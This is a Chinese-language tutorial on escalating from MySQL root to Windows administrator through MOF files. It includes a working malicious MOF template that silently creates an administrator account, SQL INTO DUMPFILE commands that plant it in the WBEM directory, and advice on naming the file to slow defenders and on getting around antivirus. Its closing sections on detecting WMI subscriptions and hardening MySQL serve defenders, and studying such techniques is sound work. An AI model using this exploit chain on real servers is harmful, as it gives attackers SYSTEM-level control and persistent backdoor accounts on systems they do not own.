☰
MySQL数据库提权实战:MOF提权原理、利用与Windows防护指南
2026/10/10 7:04:45 网站建设 项目流程

我们拿到MySQL的root权限之后,一般先在库里翻数据和配置文件,但很多内网场景里,数据库服务器本身就是最终目标——库里的账号密码只是第一个人头,拿到服务器权限才算真正打进去。从数据库权限跨到操作系统权限,在Web渗透测试里就叫数据库提权。MySQL在Windows平台上有三条老牌提权路线:UDF、启动项、MOF。其中MOF提权经常被优先拿出来试,因为它只需要往系统目录写一个纯文本的.mof文件,Windows会自己把它编译并触发,随后一个管理员账户就出现了。

这篇文章我会把MOF提权从原理、条件、实操到失败排查完整讲一遍,顺便从防守方视角说说怎么查痕迹、怎么加固。适合正在学Web渗透测试的朋友、做红队评估的工程师,也适合Windows服务器上跑MySQL的运维同学对照着自查。文章里的所有操作,请严格限定在授权项目、CTF比赛或自建靶场内进行。

1. MOF提权的原理拆解:一个文本文件如何换到管理员权限

1.1 先认识MOF:WMI的"自动加载"机制

MOF全称是Managed Object Format,直译是"托管对象格式",它是WMI(Windows Management Instrumentation)用来描述类定义和实例数据的标准文本文件。你可以把它理解为Windows系统里一套"面向对象的性能与事件管理框架"的配置文件,后缀名就是.mof。

WMI在Windows里的地位相当于一个系统级的管理中枢,进程信息、服务状态、性能计数器、事件日志统统通过它暴露给上层工具。PowerShell很多命令、任务计划程序、系统监控软件,底层都在跟WMI打交道。MOF文件的作用,就是用文本形式告诉WMI:"请注册这样一个类"或者"请创建这样一个实例"。

关键点在于,Windows在C:\Windows\System32\WBEM\MOF目录上做了一个"自动加载"设计:系统启动阶段和WMI服务运行期间,会扫描这个目录,发现新的.mof文件就自动执行编译,把里面的内容注册到WMI仓库(Repository)里。这个设计本意是方便厂商部署WMI扩展,微软自己的不少组件也会往这个目录放MOF文件,结果它成了提权通道里最顺手的一扇门。

这个机制很容易理解:目录就像一个"插件投放箱",你放进一个合规格式的MOF,系统就无条件帮你注册。攻击者不利用它,反而对不起这个设计。

1.2 三类组件的合谋:事件过滤器、活动脚本消费者与绑定

一个具备提权能力的恶意MOF文件,通常包含三个WMI实例:__EventFilter、ActiveScriptEventConsumer和__FilterToConsumerBinding。理解这三个东西是理解MOF提权的核心。

__EventFilter是事件过滤器,它决定"什么时候触发"。文件里用WQL语句描述一个事件,比如某个性能计数器被修改、某个进程启动、系统状态变化。经典利用中常写的WQL条件是:

Select * From __InstanceModificationEvent Where TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System"

Win32_PerfFormattedData_PerfOS_System是系统性能计数器相关类,这个实例在系统运行期间会频繁更新,意味着过滤器会频繁触发。选它不是因为跟提权有什么关系,纯粹是因为它够高频、够稳定,不需要等一个很难出现的系统事件。

ActiveScriptEventConsumer是活动脚本消费者,它定义了"触发之后干什么"。WMI支持把事件绑定到一段VBScript或JScript脚本,这段脚本可以由我们完全控制,而且是以WMI宿主进程的权限去执行。等等,"以WMI宿主进程的权限执行"是什么意思?WMI服务正常情况下以SYSTEM身份运行,所以这个脚本天然就拥有SYSTEM权限,不需要再去做任何令牌窃取或权限提升。

__FilterToConsumerBinding是绑定关系,把上面两个组件关联起来,告诉WMI"这个过滤器触发时,调用这个消费者"。三件套各司其职,一个完整的事件驱动链路就搭好了。

当恶意MOF文件被投放到WBEM\MOF目录并被自动编译后,这三个实例就注册进了WMI仓库。从此只要性能计数器一更新,过滤器就触发,消费者里的VBS脚本就以SYSTEM权限执行——脚本里写的是net user添加管理员账户,那系统就会乖乖执行。

1.3 为什么必须依赖MySQL的高权限服务

到这里你应该注意到了,整个利用链的关键动作是"往WBEM\MOF目录写一个文件"。这个目录位于C:\Windows\System32下,默认ACL并不允许普通用户写入,只有SYSTEM、Administrators这类高权限主体才具备写权限。

那MySQL在这条链路里扮演什么角色?MySQL服务在Windows上以服务方式运行,默认安装时服务账户常常是LocalSystem,也就是SYSTEM权限。当攻击者拿到数据库的FILE权限并执行SELECT ... INTO DUMPFILE时,文件写入操作是由MySQL服务进程完成的,继承的是服务账户的权限。如果服务账户是SYSTEM,那写C:\Windows\System32\WBEM\MOF就畅通无阻。

所以这里有三个条件缺一不可:第一,MySQL服务必须以SYSTEM或等效高权限运行;第二,目标系统必须是Windows;第三,数据库账户具备FILE权限,且MySQL的secure_file_priv配置没有拦截写操作。三条都满足,才到了"写文件就能拿管理员"的临界点。

整个过程,MySQL只是那个"代笔写文件"的工具人,真正执行命令的是WMI。这也是MOF提权最迷人的地方:不需要上传DLL、不需要调用UDF函数、不需要重启服务,一个纯文本文件,系统自动帮你变成管理员账户。

2. 动手前的四个自查项:别在跑不通的环境浪费时间

2.1 作战环境确认:Windows系统与MySQL服务权限

MOF提权是Windows专属玩法,Unix/Linux上的MySQL根本没有WBEM\MOF目录这个概念。所以第一步先确认目标操作系统。拿到MySQL连接后,最直接的方式是在SQL里执行版本查询:

select @@version, @@version_compile_os;

如果version_compile_os里带Win64或者Windows字样,说明是Windows平台,可以继续。如果是Linux,直接切路线,去试UDF或者利用系统特性做别的提权,别在MOF上耗时间。

第二步确认MySQL服务是不是高权限运行。这一步在纯SQL环境下不太好直接看,但可以从侧面推断。比如执行一段尝试写入系统目录的SQL,看是否成功:

select "test" into dumpfile "C:/Windows/Temp/mof_priv_test.txt";

如果文件写成功,说明MySQL进程对Windows临时目录有写权限,这本身说明服务权限不低。理论上MySQL以普通用户账户运行也能写C:/Windows/Temp,所以更严格的验证是直接尝试写C:/Windows/System32下的目录。但注意别做破坏性操作,有权限测试能定位到自己指定的目录就够了。

如果手里已经通过其他方式拿到了命令行权限,可以直接看服务配置:

sc qc mysql

或者:

tasklist /svc | findstr mysql

结合进程PID去任务管理器里看运行账户,最直观。一般默认安装的MySQL服务账户都是LocalSystem,也就是说,服务权限这一关大概率是默认满足的。

2.2 FILE权限与secure_file_priv的SQL自查

确认了平台和服务权限,接下来看数据库侧的两个硬条件:FILE权限和secure_file_priv配置。

先查当前用户的权限:

show grants for current_user();

或者直接查mysql.user表:

select user, host, file_priv from mysql.user;

FILE_priv列为Y,则有权限执行LOAD_FILE()、SELECT ... INTO OUTFILE、SELECT ... INTO DUMPFILE这些文件读写操作。root用户一般默认都有,但有些环境下DBA会回收FILE权限,这就直接堵死了MOF提权的入口。

secure_file_priv是MySQL 5.5之后引入的参数,专门控制文件导入导出的目录范围。可以这样查:

show variables like "secure_file_priv";

三种取值对应三种命运:

取值含义MOF提权结果
NULL禁止一切文件导入导出直接放弃,写不了文件
空字符串不限制目录,任意路径可写最理想,直接写WBEM目录
指定路径如C:/tmp只允许在该目录下读写需要先想办法把MOF放进该目录

这里有个常见误解,很多人以为FILE权限有了就能写文件,其实secure_file_priv才是最后的闸门。MySQL 5.7和8.0的默认行为通常是NULL,很多网上教程没提这个参数,导致写文件功能怎么都报错。实战中如果发现load_file和into dumpfile全部报错,优先查这个变量。

2.3 杀软、系统版本与账号策略的现实约束

技术条件都满足了,还有一层看不见的约束:目标的防护软件和系统版本。MOF提权本质上有两个容易被拦截的点,一个是往WBEM\MOF目录写文件这个动作,另一个是脚本里执行net user命令这个行为。

Windows Defender的实时保护、企业EDR,都可能会监控这两个点。实际测试中,有些环境文件写进去了,但脚本执行被行为拦截,admin账户没建出来;有些环境文件写入阶段就被拦截,WBEM目录下根本看不到东西。

系统版本的影响也很大。MOF自动编译这个机制在Windows 7、Windows Server 2008/2012上验证得最多,成功率也最高。Windows 10/11和Server 2016之后的系统,WMI策略和目录ACL都有调整,自动编译行为的确定性下降,很多情况下文件写进去后没有后续反应。这一点我心里要提前有数:老系统上MOF是神器,新系统上它只是备选项。

账号策略方面,目标系统的密码复杂度要求、账户锁定策略会影响net user命令的结果。脚本里设置的密码太弱,可能触发密码策略拦截。创建账户后能否远程登录,还要看RDP是否开启、防火墙是否放行。

2.4 环境条件速查表

把上面所有条件整理成一张表,测试前逐项打勾,比盲目试错高效得多:

检查项命令/方法期望结果
是否为Windowsselect @@version_compile_os含Win64/Windows
MySQL服务权限sc qc mysql / 写入测试SYSTEM或Administrator
FILE权限select file_priv from mysql.userY
secure_file_privshow variables like "secure_file_priv"空或允许目标路径
杀软状态尝试写入观察结果无拦截或已绕过
系统版本ver/系统属性Win7/2008/2012优先

3. 完整体验一次MOF提权:从SQL语句到管理员账户

3.1 构造恶意MOF文件

先准备一个恶意MOF文件的内容。以下是我测试环境中常用的模板,里面加了注释方便理解:

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "mofhack_filter"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\""; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "mofhack_consumer"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject(\"WScript.Shell\")\nobjShell.Run \"net user mofhack P@ssw0rd123 /add && net localgroup administrators mofhack /add\", 0"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

这段代码里,事件过滤器订阅了系统性能计数器变更事件,消费者脚本执行了一条命令:创建用户mofhack并加入管理员组。Run方法的第二个参数0表示静默执行,不会弹出命令行窗口,减少暴露风险。密码P@ssw0rd123符合常见的密码复杂度要求,避免被系统策略拒绝。

这里要注意VBS脚本里的引号转义。因为在MOF文件里,ScriptText本身是一个字符串,内部再用双引号包VBS代码就得加倍转义,写的时候很容易漏。一个实用技巧是,先把VBS脚本单独调试好,再整段搬进MOF的文本模板里做转义处理。

3.2 把恶意MOF文件送进WBEM目录

MOF文件准备好后,接下来要想办法把它写到C:\Windows\System32\WBEM\MOF目录下。这里有几种常见的投送方式。

方式一,直接把准备好的文件从磁盘读取并写入目标目录。前提是secure_file_priv允许读取攻击机上能访问到的路径,或者目标MySQL所在服务器上已经有一个我们能控制文件内容的路径。比如通过网站上传功能把evil.mof传到了C:/tmp/下,然后在MySQL里执行:

select load_file("C:/tmp/evil.mof") into dumpfile "C:/Windows/System32/wbem/mof/evil.mof";

方式二,如果能把MOF内容转成十六进制,可以直接写入,不需要先传文件:

select 0x23707261676D61... into dumpfile "C:/Windows/System32/wbem/mof/evil.mof";

十六进制串在本地用Python或任意文本工具转换即可。这种方式的好处是全程在SQL会话里完成,不依赖目标机器上预先存在的文件。缺点是要处理很长的十六进制内容,手滑写错一位就前功尽弃。

我还想强调一下为什么这里用dumpfile而不用outfile。MySQL的SELECT ... INTO OUTFILE会按结果集格式写入,字段间有分隔符、行尾有换行符,还会对内容做转义处理,写出来的东西基本不能用于这种需要精确字节内容的场景。而SELECT ... INTO DUMPFILE写的是原始字节,不添加任何额外内容,是写文件的首选。

路径写法上注意用正斜杠。MySQL在Windows平台能识别C:/Windows/...这种写法,不需要写成C:\Windows\...,后者在SQL字符串里反而容易因为反斜杠转义问题搞出路径错误。

3.3 等WMI自动编译:触发与验证

文件写入后,理论上WMI会在短时间内扫描并编译MOF目录下的新文件。编译成功后,事件订阅就注册到了WMI仓库,性能计数器一更新,脚本就会以SYSTEM权限执行。整个过程通常在几十秒内完成,但也见过拖延到几分钟的情况,可能与系统负载、WMI服务状态有关。

等一两分钟后,用SQL尝试读取Windows系统用户信息不太现实,更直接的方式是等拿到系统权限后再验证。不过如果当前环境允许,可以通过一些间接手段确认。比如再次查看MOF目录,恶意文件可能已经被系统处理掉或改名,文件消失本身就是编译发生过的信号。

最可靠的验证方式是尝试远程登录目标系统,用新建的mofhack账户连接RDP或通过其他远程管理通道登录。如果登录成功,提权目标就达成了。也可以让脚本做更多事情,比如直接写一个WebShell到网站目录,或者把命令执行结果回传到我们能控制的服务器上,这属于后渗透阶段的设计偏好,按场景灵活调整。

3.4 完整流程中的执行顺序要点

整个操作有一个推荐顺序:先自查条件,再准备MOF,最后动手投送。不要上来就写文件,万一secure_file_priv限制、系统版本不兼容,白折腾一场。

投送过程中还有一些细节值得注意。写文件SQL执行完,MySQL返回Query OK不代表就成功了,要确认影响的行数;如果返回错误,把报错信息读清楚,很多问题是路径写法和转义引起的。另外,MOF文件名不一定要起得多隐蔽,但最好不要太显眼,纯粹叫evil.mof或者hack.mof,在防守方查目录时太扎眼,起个类似系统组件风格的名字会拖慢排查速度。

4. 常见失败场景:MOF提权卡住时的排查思路与替补路线

4.1 secure_file_priv=NULL:连文件都写不出去

这是最干脆的失败原因——MySQL直接禁了文件导入导出,load_file、into dumpfile全部不能用。遇到这种情况,我不建议在MOF上继续耗时间,因为后续所有投送MOF的思路都建立在能写文件这个基础上。

可以先尝试查看MySQL配置文件,看secure_file_priv是在my.ini的哪个位置配置的。如果能通过其他途径拿到服务器文件系统权限,改掉配置并重启MySQL服务,就还能救回来。但现实情况是,在还没拿下系统的阶段,改配置是死循环——有权限改配置文件就不需要提权了。所以更实际的做法是评估其他路线:数据库账户能不能通过UDF提权、能不能通过SQL注入直连的方式继续扩大战果、能不能利用MySQL日志getshell。

我踩过几次坑后发现,遇到secure_file_priv=NULL的环境,最适合的替补反而是检查目标是否还有别的服务暴露面,比如phpMyAdmin弱口令、SQL Server的xp_cmdshell、Redis的未授权访问。死磕单一路线,容易把自己困死。

4.2 杀软两次拦截:从写文件到执行脚本

Windows环境里杀软对MOF提权的拦截通常分两个阶段。

第一阶段是写文件时。往C:\Windows\System32\WBEM\MOF目录写.mof文件本身就很可疑,Defender的受保护文件夹功能、EDR的目录监控都可能直接拦掉。如果SQL执行成功但文件没出现在目录里,或者报权限错误、被占用错误,多半就是这一步被拦了。这种拦截通常会在Windows事件日志里留下记录,可以查Microsoft-Windows-Windows Defender/Operational日志确认原因。

第二阶段是脚本执行时。就算文件成功写进去并被WMI编译,VBS脚本里CreateObject("WScript.Shell")后执行net user,这种组合在行为分析引擎看来属于典型的恶意行为。结果就是WMI事件触发了一百次,每次都被拦,管理员账户始终建不出来。

针对第一阶段,可以考虑把文件先写到杀软不监控的位置,再想办法触发移动到WBEM目录,但实操中限制很多。针对第二阶段,可以改脚本里的命令内容,比如用PowerShell的New-LocalUser代替net user,或者把创建账户的动作拆成两步,降低行为特征,但功德有限。更好的策略是评估是否放弃MOF,转用UDF。

这里说句实话:在装了主流EDR的Windows上,MOF提权的成功率很低。这个技术更适合靶场、裸奔的老系统、以及防守能力较弱的边缘节点。

4.3 新版本系统的兼容性问题:Win10/11与Server 2016+

MOF自动编译机制在Windows 7/Server 2008时代是稳定可用的,但到了Windows 10/11和Server 2016之后,系统对WBEM目录的ACL收紧了很多,MOF文件的自动编译行为也不像以前那样按部就班。我自己在Server 2016上做过测试,文件写进去了,WMI事件订阅有时候能注册成功,有时候毫无反应,稳定性很差。

这种情况下,排查方向要清楚:先确认WMI服务状态、检查系统事件日志里有没有WMI相关的报错,再判断是权限问题还是机制失效。如果确认是该版本不兼容,果断切UDF提权是更务实的选择。UDF提权需要往MySQL插件目录写DLL,虽然同样依赖文件写入能力,但触发方式更直接——写DLL、创建自定义函数、调用函数执行系统命令,每一步的可控性都比MOF高。

4.4 UDF与启动项提权:三条老牌路线的取舍

假设MOF路线走不通,MySQL在Windows上还有另外两条经典路线可以参考。三条路线我放在一起对比一下:

提权方式核心条件触发方式优势劣势
MOF写WBEM目录 + WMI自动编译系统事件自动触发纯文本文件,无需DLL老系统限定,易被杀软拦截
UDF写plugin目录DLL + 创建函数手动调用自定义函数稳定可控,支持任何命令需要DLL文件,还要绕过secure_file_priv
启动项写启动目录/注册表Run键用户下次登录时触发操作简单,老系统通用触发不可控,等待周期长

启动项提权最大的问题是不可控。把bat脚本放到启动目录,鬼知道用户什么时候会重新登录;放到Run注册表键,又需要写注册表的权限。它更适合作为"埋个持久化后门"的补充手段,不适合当主动提权的首选。

UDF提权在实战中地位更高一些,尤其在新系统上。条件允许的情况下,我会优先尝试UDF,MOF反而排在后面。但UDF有几个硬性坑:MySQL插件目录路径要能查到,DLL要能被写进去,创建函数时要对得上架构(32位/64位),函数名要避开系统保留名(比如sys_exec如果被占用就换一个名字)。这些细节展开写又是一篇文章,这里先不深入。

5. 防守视角:如何在服务器上发现与阻断MOF提权

5.1 三种痕迹检测:文件、WMI订阅与系统账户

如果攻击者已经用MOF提权成功,系统里会留下一些痕迹。防守方按三个维度查,基本能还原攻击链。

第一是MOF目录文件。登录服务器后直接看:

dir C:\Windows\System32\wbem\mof /a

正常的Windows系统里这个目录可能有一些系统自带的MOF文件,或者干脆是空的。可疑的文件特征包括:出现时间异常、命名跟系统组件对不上、内容里含net user或ActiveScriptEventConsumer等关键字。

第二是WMI事件订阅。恶意MOF编译后会在WMI仓库里留下事件订阅,用PowerShell可以直接枚举:

Get-WmiObject -Namespace root\subscription -Class __EventFilter Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

发现名称怪异、脚本内容包含创建用户命令的订阅,基本可以确认被MOF提权了。很多EDR产品也会监控root\subscription下的WMI持久化活动,原理类似。

第三是系统账户。该提权方式最常见的落点是新建管理员用户,所以查用户列表是最快的验证手段:

net user net localgroup administrators

看到不认识的管理员账户,结合MOF目录和WMI订阅的情况,基本可以给事件定性。此外,Windows安全日志里的事件ID也很关键:4720表示创建用户,4732表示用户被添加到安全组,4688可以看到进程创建记录里是否有net.exe命令,这几条日志组合起来能还原攻击时间线。

5.2 MySQL侧的加固:让MOF提权失去土壤

从根源上说,MOF提权能成立,依赖两个前提:MySQL服务以SYSTEM权限运行,MySQL账户具备FILE权限且secure_file_priv不设限。防守方只要堵住这两个前提,MOF提权就直接失效。

第一步是把MySQL服务账户从LocalSystem降下来。在services.msc里找到MySQL服务,打开属性,在"登录"选项卡里改成NETWORK SERVICE或专门创建的低权限账户。改完重启服务,再尝试写入WBEM目录就会发现权限不足,攻击者就算拿到了root也无法投送MOF文件。

第二步是设置secure_file_priv。在my.ini里加一行:

secure_file_priv=""

注意双引号中间没有空格,表示不限制目录。如果要更严格,就指定一个只用于数据导入导出的目录,比如C:/mysql_upload/。设置成NULL则直接禁用文件读写,但会影响一些正常业务需求,运维要根据实际情况权衡。

第三步是收权限。定期检查mysql.user表,不需要FILE权限的业务账户全部回收。root账户的密码强度也要拉满,MOF提权的起点往往是root密码泄露或者弱口令,没有这个起点后面全无从谈起。

5.3 结合安装配置的源头风险:很多人第一步就埋了雷

这里说一个跟MOF提权强相关的现实:很多Windows服务器上的MySQL是默认安装的,服务账户默认使用LocalSystem,secure_file_priv默认没配置或配置很宽松。也就是说,相当数量的MySQL服务器天生就具备MOF提权所需的全部前置条件,运维根本不知道。

网上流传的大量MySQL安装教程,基本都在教怎么装、怎么配字符集、怎么设端口,很少提醒服务账户和file权限的问题。如果你把MySQL装在Windows服务器上,建议装完立刻做三件事:改服务账户、确认secure_file_priv、清理mysql.user里多余权限。这三步做完,MOF提权对你而言基本就只存在于教科书里了。

做防御检测时还有一个小技巧:用脚本定期扫描WBEM\MOF目录和WMI订阅,把基线数据保存下来,有变化就告警。在攻防对抗里,这种"变化即告警"的思路比等着看人眼去翻日志可靠得多。

MOF提权放到今天看,更多像是一个经典教学案例。它在真实实战中能发挥的空间,被系统版本和防护软件压缩得越来越小,但它的利用思路——借助系统信任的合法机制完成权限跨越——依然很有启发价值。真正遇到Windows+MySQL的组合时,我会把MOF当成一个"顺手试一下"的选项,而不把它当成救命稻草;UDF和更现代的提权手法,才是面向新系统的主力。

最后再分享一点个人体会:我在靶场里第一次跑通MOF提权时,看着net user里凭空多出来的管理员账户,确实觉得这套机制精妙得吓人。后来在真实授权项目里遇到Defender横刀拦住,又觉得这类"祖传手艺"正在被时代慢慢淘汰。但不管技术怎么更迭,理解WMI、理解服务权限、理解系统目录的信任边界,这些底层的知识永远不会过时。所有的测试操作,请牢记四个字——先授权,再动手。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询